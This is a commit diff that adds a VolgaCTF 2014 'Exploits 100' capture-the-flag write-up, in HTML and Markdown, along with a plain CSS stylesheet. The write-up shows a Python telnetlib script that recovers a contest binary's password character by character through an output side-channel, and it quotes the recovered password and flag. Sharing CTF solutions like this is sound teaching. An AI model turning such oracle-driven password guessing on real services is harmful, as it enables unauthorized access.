Skip to content

Commit 138908d

Browse files
author
Andrew Buss
committed
Added volgactf exp100 writeup and CSS
1 parent d1ccb82 commit 138908d

File tree

3 files changed

+204
-4
lines changed

3 files changed

+204
-4
lines changed

Diff for: ‎volga2014/index.html

+34-2
Original file line numberDiff line numberDiff line change
@@ -155,6 +155,38 @@ <h2>Exploits 100</h2>
155155
write(fd, flag_buf, strlen(flag_buf) - 1);
156156
</code></pre>
157157

158-
<p>This reads in a string one character at a time, then compares it to a password. For each character that matches, <code>v5</code> is incremented. Then, it does some processing on a random variable <code>v7</code> unless <code>v5</code> is zero, and prints out <code>v7</code>. There are several possible approaches to this problem. It might be possible to determine some information about <code>v5</code> given several values of <code>v7</code> for the same string, but that'd be pretty difficult. We can also perform a timing attack on the <code>v5</code> value.</p>
158+
<p>This reads in a string one character at a time, then compares it to a 12-character password. For each character that matches, <code>v5</code> is incremented. Then, it does some processing on a random variable <code>v7</code> unless <code>v5</code> is zero, and prints out <code>v7</code>. </p>
159159

160-
<h1>unfinished, this'll be up in 30</h1>
160+
<p>There are several possible approaches to this problem. It might be possible to determine some information about <code>v5</code> given several values of <code>v7</code> for the same string, but that'd be pretty difficult. We can also perform a timing attack on the <code>v5</code> value, since iteration from 1 to <code>0xDEADBEEE</code> takes a significant amount of time. </p>
161+
162+
<p>However, we noted that <code>v7</code> will always be less than 1000 unless <code>v5</code> is greater than zero, and that <code>v7</code> will almost certainly be larger than 1000 if <code>v5</code> is nonzero. We infer that if the value returned is greater than 1000, at least one character matched the password.</p>
163+
164+
<p>So, we must first find a character that is not in the password. The string <code>'aaaaaaaaaaaa'</code> consistently returns numbers under 1000, so we can assume that <code>'a'</code> is not in the password. </p>
165+
166+
<p>Then, we test the strings <code>'baaaaaaaaaaa'</code>, <code>'caaaaaaaaaaa'</code>, and so on until we receive a number greater than 1000 and advance to the next character. We used a script to automate this:</p>
167+
168+
<pre><code>import telnetlib
169+
import time
170+
import string
171+
172+
# t = telnetlib.Telnet('127.0.0.1', 7026)
173+
t = telnetlib.Telnet('tasks.2014.volgactf.ru', 28111)
174+
t.read_until('characters\n')
175+
def try_password(pw):
176+
print "trying", pw
177+
t.write(pw+'\n')
178+
return int(t.read_some(),16)
179+
180+
cs = string.letters+string.punctuation+string.digits+' '
181+
a = ''
182+
for i in range(12):
183+
for c in cs:
184+
s = 'a'*(i)+c+'a'*(12-i-1)
185+
if try_password(s) &gt; 1000:
186+
a+=c
187+
break
188+
189+
print a
190+
</code></pre>
191+
192+
<p>The password we extracted by this method was <code>S@nd_will2z0</code>, and providing this as the password returns the flag <code>Time_works_for_you</code>. Perhaps a timing attack was the intended solution?</p>

Diff for: ‎volga2014/markdown8.css

+137
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
h1, h2, h3, h4, h5, h6, p, blockquote {
2+
margin: 0;
3+
padding: 0;
4+
}
5+
body {
6+
font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", Arial, sans-serif;
7+
font-size: 13px;
8+
line-height: 18px;
9+
color: #737373;
10+
background-color: white;
11+
margin: 10px 13px 10px 13px;
12+
}
13+
table {
14+
margin: 10px 0 15px 0;
15+
border-collapse: collapse;
16+
}
17+
td,th {
18+
border: 1px solid #ddd;
19+
padding: 3px 10px;
20+
}
21+
th {
22+
padding: 5px 10px;
23+
}
24+
25+
a {
26+
color: #0069d6;
27+
}
28+
a:hover {
29+
color: #0050a3;
30+
text-decoration: none;
31+
}
32+
a img {
33+
border: none;
34+
}
35+
p {
36+
margin-bottom: 9px;
37+
}
38+
39+
h1, h2, h3, h4, h5, h6 {
40+
color: #404040;
41+
line-height: 36px;
42+
}
43+
h1 {
44+
margin-bottom: 18px;
45+
font-size: 30px;
46+
}
47+
h2 {
48+
margin-top: 72px;
49+
font-size: 24px;
50+
}
51+
h3 {
52+
font-size: 18px;
53+
}
54+
h4 {
55+
font-size: 16px;
56+
}
57+
h5 {
58+
font-size: 14px;
59+
}
60+
h6 {
61+
font-size: 13px;
62+
}
63+
hr {
64+
margin: 0 0 19px;
65+
border: 0;
66+
border-bottom: 1px solid #ccc;
67+
}
68+
blockquote {
69+
padding: 13px 13px 21px 15px;
70+
margin-bottom: 18px;
71+
font-family:georgia,serif;
72+
font-style: italic;
73+
}
74+
blockquote:before {
75+
content:"\201C";
76+
font-size:40px;
77+
margin-left:-10px;
78+
font-family:georgia,serif;
79+
color:#eee;
80+
}
81+
blockquote p {
82+
font-size: 14px;
83+
font-weight: 300;
84+
line-height: 18px;
85+
margin-bottom: 0;
86+
font-style: italic;
87+
}
88+
code, pre {
89+
font-family: Monaco, Andale Mono, Courier New, monospace;
90+
}
91+
code {
92+
background-color: #fee9cc;
93+
color: rgba(0, 0, 0, 0.75);
94+
padding: 1px 3px;
95+
font-size: 12px;
96+
-webkit-border-radius: 3px;
97+
-moz-border-radius: 3px;
98+
border-radius: 3px;
99+
}
100+
pre {
101+
display: block;
102+
padding: 14px;
103+
margin: 0 0 18px;
104+
line-height: 16px;
105+
font-size: 11px;
106+
border: 1px solid #d9d9d9;
107+
white-space: pre-wrap;
108+
word-wrap: break-word;
109+
}
110+
pre code {
111+
background-color: #fff;
112+
color:#737373;
113+
font-size: 11px;
114+
padding: 0;
115+
}
116+
sup {
117+
font-size: 0.83em;
118+
vertical-align: super;
119+
line-height: 0;
120+
}
121+
* {
122+
-webkit-print-color-adjust: exact;
123+
}
124+
@media screen and (min-width: 914px) {
125+
body {
126+
width: 640px;
127+
margin:10px auto;
128+
}
129+
}
130+
@media print {
131+
body,code,pre code,h1,h2,h3,h4,h5,h6 {
132+
color: black;
133+
}
134+
table, pre {
135+
page-break-inside: avoid;
136+
}
137+
}

Diff for: ‎volga2014/writeups.md

+33-2
Original file line numberDiff line numberDiff line change
@@ -149,6 +149,37 @@ We are provided a binary and a host/port to connect to. The meat of the binary i
149149
}
150150
write(fd, flag_buf, strlen(flag_buf) - 1);
151151

152-
This reads in a string one character at a time, then compares it to a password. For each character that matches, `v5` is incremented. Then, it does some processing on a random variable `v7` unless `v5` is zero, and prints out `v7`. There are several possible approaches to this problem. It might be possible to determine some information about `v5` given several values of `v7` for the same string, but that'd be pretty difficult. We can also perform a timing attack on the `v5` value.
152+
This reads in a string one character at a time, then compares it to a 12-character password. For each character that matches, `v5` is incremented. Then, it does some processing on a random variable `v7` unless `v5` is zero, and prints out `v7`.
153153

154-
# unfinished, this'll be up in 30
154+
There are several possible approaches to this problem. It might be possible to determine some information about `v5` given several values of `v7` for the same string, but that'd be pretty difficult. We can also perform a timing attack on the `v5` value, since iteration from 1 to `0xDEADBEEE` takes a significant amount of time.
155+
156+
However, we noted that `v7` will always be less than 1000 unless `v5` is greater than zero, and that `v7` will almost certainly be larger than 1000 if `v5` is nonzero. We infer that if the value returned is greater than 1000, at least one character matched the password.
157+
158+
So, we must first find a character that is not in the password. The string `'aaaaaaaaaaaa'` consistently returns numbers under 1000, so we can assume that `'a'` is not in the password.
159+
160+
Then, we test the strings `'baaaaaaaaaaa'`, `'caaaaaaaaaaa'`, and so on until we receive a number greater than 1000 and advance to the next character. We used a script to automate this:
161+
162+
import telnetlib
163+
import time
164+
import string
165+
166+
# t = telnetlib.Telnet('127.0.0.1', 7026)
167+
t = telnetlib.Telnet('tasks.2014.volgactf.ru', 28111)
168+
t.read_until('characters\n')
169+
def try_password(pw):
170+
print "trying", pw
171+
t.write(pw+'\n')
172+
return int(t.read_some(),16)
173+
174+
cs = string.letters+string.punctuation+string.digits+' '
175+
a = ''
176+
for i in range(12):
177+
for c in cs:
178+
s = 'a'*(i)+c+'a'*(12-i-1)
179+
if try_password(s) > 1000:
180+
a+=c
181+
break
182+
183+
print a
184+
185+
The password we extracted by this method was `S@nd_will2z0`, and providing this as the password returns the flag `Time_works_for_you`. Perhaps a timing attack was the intended solution?

0 commit comments

Comments
 (0)